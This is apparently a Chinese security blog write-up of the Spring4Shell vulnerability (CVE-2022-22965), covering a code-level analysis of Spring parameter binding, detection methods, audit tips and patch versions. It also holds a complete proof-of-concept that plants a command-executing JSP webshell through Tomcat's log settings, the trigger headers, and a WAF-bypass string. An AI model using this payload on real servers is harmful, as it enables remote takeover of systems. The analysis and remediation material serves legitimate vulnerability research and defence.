CVE-2022-22965漏洞记录
漏洞时间线
CVE-2010-1622 Spring第一次爆发漏洞,同时也影响了Struts(S2-020/S2-021/S2-022)
2017年9月10日 Oracle官方发文解释Java 9的module新特性
2022年3月29日 蚂蚁集团报告漏洞(CVE-2022-22965)
POC
CVE-2010-1622/Struts(S2-020/S2-021/S2-022)
class.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.classLoader.resources.context.parent.pipeline.first.prefix=shell class.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1 class.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
CVE-2022-22965在Java9新增了module之后:
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=1 class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di
然后访问webshell的时候,除了提供cmd的参数之外,还需要设置header头:
headers = {"suffix":"%>//", "c1":"Runtime", "c2":"<%", "DNT":"1", "Content-Type":"application/x-www-form-urlencoded" }
利用条件
- Java版本>=JDK9
- Spirng运行在Tomcat环境下,以War包部署(Jar包的时候不存在)
- 方法入参是非基础类,不能是String,int等
- 接口使用了POJO参数绑定
注意事项
- 如果要多次写文件,需要修改fileDateFormat属性,最终会拼接到文件后缀里面
- 利用日志写入shell的时候,生成的文件会不断写入,可以关闭日志记录:
class.module.classLoader.resources.context.parent.pipeline.first.enabled=false
漏洞分析
当Content-Type是application/x-www-form-urlencoded
的时候,会使用ServletModelAttributeMethodProcessor
解析请求,然后进入参数绑定:org.springframework.web.bind.ServletRequestDataBinder#bind(ServletRequest request)
:
此时的mpv保存了请求里面的key-value参数,接着进入org.springframework.validation.DataBinder#doBind(MutablePropertyValues mpvs)
对获取到的mpvs
进行初步校验:
将mpvs绑定到bean对象上setPropertyValues
:
org.springframework.beans.AbstractPropertyAccessor#setPropertyValues(org.springframework.beans.PropertyValues, boolean, boolean)
然后进入到setPropertyValue
org.springframework.beans.AbstractNestablePropertyAccessor#setPropertyValue(org.springframework.beans.PropertyValue)
进入到: getPropertyAccessorForPropertyPath
:
org.springframework.beans.AbstractNestablePropertyAccessor#getPropertyAccessorForPropertyPath(String propertyPath)
这个时候propertyPath
是http请求里面注入的变量: class.module.classLoader.resources.context.parent.appBase
,此时对变量进行分割,获取第一个class的偏移量,到最后都会进入到org.springframework.beans.CachedIntrospectionResults#CachedIntrospectionResults
里面进行验证,这里是判断当获取到的对象是一个Class而又获取ClassLoader属性,则直接跳过。
Struts出现漏洞的时候,有师傅写过jsp获取可用的环境变量的脚本,可以获取可用的上下文环境变量。
代码审计phith0n师傅对漏洞的总结:
在Java里面,所有的Java对象都有一个
getClass()
方法,获取对象的Class,Class又有getClassLoader()
方法获取Class的ClassLoader
,而在Tomcat中,一些和Tomcat的全局配置相关的属性都保存在org.apache.catalina.loader.ParallelWebappClassLoader
这个Tomcat专属的ClassLoader的一些属性、子孙属性里。
那么,我们就可以通过person.getClass().getClassLoader().getXXX()来调用ParallelWebappClassLoader中的一些敏感属性最后通过修改Tomcat的配置来执行危险操作。这个调用链放在用户数据包里就是class.classLoader.XXX
漏洞判断
根据状态码
- 返回500:
class.module.class.module.classLoader.xx
- 返回400:
class.module.classLoader.DefaultAssertionStatus=nonsense
- 返回302:
class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled=true
返回302的时候需要同时满足三个条件:
- 请求路径不能以
/
结尾 - context的
mapperDirectoryRedirectEnabled
属性为true - 访问的地址是存在的一个目录
当class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled=false
的时候,访问一个存在的目录是404:
当class.module.classLoader.resources.context.mapperDirectoryRedirectEnabled=true
:
通过SSRF
不推荐使用,如果应用使用了configFile
会破坏运行环境:
class.module.classLoader.resources.context.configFile=https://{{interactsh-url}}&class.module.classLoader.resources.context.configFile.content.aaa=xxx
白盒
使用@RequestBody
先检查项目中使用POJO的接口,然后再检查是否使用了@RequestBody
注解。使用@RequestBody
注解的接口是接收JSON和XML等请求,底层使用RequestResponseBodyMethodProcessor
处理请求,而Content-Type是application/x-www-form-urlencoded
的时候,会使用ServletModelAttributeMethodProcessor
解析请求。所以使用@RequestBody
的时候不存在漏洞,可以使用egrep初步匹配之后,排查没有使用@RequestBody
的接口:
egrep -5 -ri "@(Get|Post|Put|Delete|Patch|Request)Mapping" .
在使用@RequestBody
的时候,如果自定义了参数解析器,也就是说后端可以同时接收application/json
和application/x-www-form-urlencoded
这两种请求,也可能存在漏洞。在测试JSON接口的时候可以改变Content-Type为application/x-www-form-urlencoded
做一次尝试。
SpringMVC的HandlerMethodArgumentResolver
是方法参数解析器接口,这个接口是SpringMVC参数解析绑定的核心接口,内置了很多类完成参数解析:
private List<HandlerMethodArgumentResolver> getDefaultArgumentResolvers() {
List<HandlerMethodArgumentResolver> resolvers = new ArrayList<>(30);
// Annotation-based argument resolution
resolvers.add(new RequestParamMethodArgumentResolver(getBeanFactory(), false));
resolvers.add(new RequestParamMapMethodArgumentResolver());
resolvers.add(new PathVariableMethodArgumentResolver());
resolvers.add(new PathVariableMapMethodArgumentResolver());
resolvers.add(new MatrixVariableMethodArgumentResolver());
resolvers.add(new MatrixVariableMapMethodArgumentResolver());
resolvers.add(new ServletModelAttributeMethodProcessor(false));
resolvers.add(new RequestResponseBodyMethodProcessor(getMessageConverters(), this.requestResponseBodyAdvice));
resolvers.add(new RequestPartMethodArgumentResolver(getMessageConverters(), this.requestResponseBodyAdvice));
resolvers.add(new RequestHeaderMethodArgumentResolver(getBeanFactory()));
resolvers.add(new RequestHeaderMapMethodArgumentResolver());
resolvers.add(new ServletCookieValueMethodArgumentResolver(getBeanFactory()));
resolvers.add(new ExpressionValueMethodArgumentResolver(getBeanFactory()));
resolvers.add(new SessionAttributeMethodArgumentResolver());
resolvers.add(new RequestAttributeMethodArgumentResolver());
// Type-based argument resolution
resolvers.add(new ServletRequestMethodArgumentResolver());
resolvers.add(new ServletResponseMethodArgumentResolver());
resolvers.add(new HttpEntityMethodProcessor(getMessageConverters(), this.requestResponseBodyAdvice));
resolvers.add(new RedirectAttributesMethodArgumentResolver());
resolvers.add(new ModelMethodProcessor());
resolvers.add(new MapMethodProcessor());
resolvers.add(new ErrorsMethodArgumentResolver());
resolvers.add(new SessionStatusMethodArgumentResolver());
resolvers.add(new UriComponentsBuilderMethodArgumentResolver());
if (KotlinDetector.isKotlinPresent()) {
resolvers.add(new ContinuationHandlerMethodArgumentResolver());
}
...
比如:
RequestParamMethodArgumentResolver
: 负责解析 @RequestParam 标记的参数ServletRequestMethodArgumentResolver
: 负责解析入参为 HttpServletRequest、HttpMethod 等类型的参数ServletModelAttributeMethodProcessor
: 负责解析入参为 POJO 类的参数RequestResponseBodyMethodProcessor
: 负责解析入参为 @RequestBody 标注的参数
使用consumes的时候
@RequestMapping(value = "/rapid7/v1", method = {RequestMethod.GET, RequestMethod.POST}, consumes = "application/json")
经过测试,未触发漏洞
WAF绕过
来自烽火台实验室的绕过:
class.module.classLoader.resources.context.resources.context.parent.pipeline.first.pattern
漏洞修复
升级Spring Framework到v5.3.18或v5.2.20
Spring升级之后Tomcat也发布了新版本,在Tomcat 9.0.62
版本对getResources()
方法的返回值做了修改,直接返回null。WebappClassLoaderBase
即ParallelWebappClassLoader
的父类,在Web应用部署方式中,利用org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
的链路就走不通了。
其它中间件的部分环境变量可以参考struts-tester
RWCTF 4th Desperate Cat Writeup的实际案例的利用原理也差不多,但是更有趣。
参考链接
- 从零开始,分析Spring Framework RCE
- 关于Spring framework rce(CVE-2022-22965)的一些问题思考
- CVE-2022-22965 Spring核心框架Spring4Shell远程命令执行漏洞原理与修复方式分析
- nuclei-templates
- Spring Beans RCE分析
- RWCTF 4th Desperate Cat Writeup
- Spring 参数绑定的分析以及甲方自查
- spring4shell(CVE-2022-22965)事件考古资料梳理
- SpringMVC 入参解析原理和实战
- SpringMVC源码之参数解析绑定原理
- Spring远程命令执行漏洞(CVE-2022-22965)原理分析和思考